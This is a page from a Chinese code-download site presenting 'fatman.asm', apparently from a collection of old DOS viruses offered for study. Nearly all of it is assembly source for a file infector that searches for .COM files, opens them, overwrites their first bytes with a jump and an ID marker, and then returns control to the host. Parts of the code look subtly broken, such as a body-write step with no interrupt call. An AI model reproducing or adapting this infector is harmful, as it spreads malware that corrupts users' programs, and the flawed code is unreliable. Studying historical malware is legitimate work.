⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 fatman.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
字号:
code    segment'code'
assume  cs:code, ds:code, ss:code, es:code
org     100h
dta             equ     endcode  + 10
fatmanid        equ     34
start:

        jmp     virus
        hoststart:
        db      90h,90h,90h             ;NOP
        db      0cdh,020h,1ah,1ah       ;INT 20
        hostend:
        virus:
        call $ + 2
fatman:
        pop     bp                         ;Search for next files
        sub     bp,offset fatman
        mov     ah,1ah
        lea     dx,[bp +dta]
        int     21h
        mov     ah,4eh
        lea     dx,[bp + filespec]
        xor     cx,cx
fileloop:
        int     21h
        jc      quit
        mov     ax,3d02h                   ;Open file read and write
        lea     dx,[bp + offset dta + 30]  ;Move the offset of filename
        int     21h                        ;into dx register
        jc      quit
        xchg    bx,ax
        mov     ah,3fh                     ;read from file
        mov     cx,4                       ;read 4 bytes off file
        lea     dx,[bp + orgjmp]           ;store the 4 bytes
        int     21h
        mov     ax,4202h                   ;point to end of file
        xor     cx,cx
        xor     dx,dx
        int     21h
        sub     ax,03h                     ;Back three bytes from org
        mov     [bp + newjmp + 2], ah      ;high location
        mov     [bp + newjmp + 1], al      ;low location
        mov     [bp + newjmp + 3], fatmanid;his ID
        mov     ah,0e9h                    ;JMP
        mov     [bp + newjmp],ah
        mov     ah,40h                    ;write to file
        mov     cx,endcode - virus
        lea     dx,[bp + virus]
        jc      quit
        mov     ax,4200h                  ;Moving to TOP of file
        xor     cx,cx
        xor     dx,dx
        int     21h
        mov     ah,40h                   ;writing 4 bytes to top of file
        mov     cx,4
        lea     dx,[bp + offset newjmp]
        int     21h
        mov     ah,1ah
        mov     dx,080h
        int     21h
        quit:
        lea     si,[bp + offset thisjmp]
        mov     di,0100h
        mov     cx,04h
        cld
        rep     movsb
        mov     di,0100h
        jmp     di

        


        filespec        db      '*.COM',0
        orgjmp          db      4 dup (?)
        newjmp          db      4 dup (?)
        thisjmp         db      4 dup (?)
        oldjmp          db      09h,0cdh,020h,90h
        endcode:

        code    ends
        end     start

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -